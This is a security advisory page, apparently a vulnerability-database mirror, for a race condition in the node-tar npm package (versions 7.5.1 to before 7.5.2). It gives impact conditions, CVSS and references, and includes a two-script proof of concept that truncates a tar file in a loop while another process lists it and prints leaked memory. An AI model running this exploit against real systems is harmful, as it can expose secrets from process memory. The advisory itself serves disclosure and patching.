node-tar has a race condition leading to uninitialized memory exposure
Summary
Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.
Details
See:
- https://github.com/isaacs/node-tar/issues/445
- https://github.com/isaacs/node-tar/pull/446
- Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d
PoC
A:
import * as tar from 'tar'
import fs from 'node:fs'
fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))
// from readme
const filesAdded = []
tar.c(
{
sync: true,
file: 'tar.test.tmp.tar',
onWriteEntry(entry) {
// initially, it's uppercase and 0o644
console.log('adding', entry.path, entry.stat.mode.toString(8))
// make all the paths lowercase
entry.path = entry.path.toLowerCase()
// make the entry executable
entry.stat.mode = 0o755
// in the archive, it's lowercase and 0o755
filesAdded.push([entry.path, entry.stat.mode.toString(8)])
},
},
['./tar.test.tmp'],
)
const a = fs.readFileSync('tar.test.tmp.tar')
for (let i = 0; ; i++){
if (i % 10000 === 0) console.log(i)
fs.writeFileSync('tar.test.tmp.tar', a)
fs.truncateSync('tar.test.tmp.tar', 600)
}B (vulnerable):
import * as tar from 'tar'
import * as fs from 'fs'
while (true) {
fs.readFileSync(import.meta.filename)
tar.t({
sync: true,
file: 'tar.test.tmp.tar',
onReadEntry: e => e.on('data', b => {
const a = b.filter(x => x)
if (a.length > 0) console.log(a.toString())
})
})
}Run A and B in parallel on Node.js 22 or >=25.1.0
Dumps B memory (wait for some time to observe text data)
Impact
Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.
To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).
This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.
This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).
If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.
By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).
Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | tar | >= 7.5.1, < 7.5.2 | 7.5.2 |
Referencias
- https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph
- https://nvd.nist.gov/vuln/detail/CVE-2025-64118
- https://github.com/isaacs/node-tar/issues/445
- https://github.com/isaacs/node-tar/pull/446
- https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d
- https://github.com/isaacs/node-tar/commit/5e1a8e638600d3c3a2969b4de6a6ec44fa8d74c9
- https://github.com/isaacs/node-tar
- Vector CVSS
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H- Debilidad (CWE)
CWE-362- Plataforma
- npm
- Paquete
tar- Publicada
- 30.10.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-29xp-372q-xqph - CC BY 4.0
Historial de vulnerabilidades: tar
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 21
- Primera → última
- 10.2017 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 15
- Media 5
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 12
-
node-tar has a race condition leading to uninitialized memory exposure esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.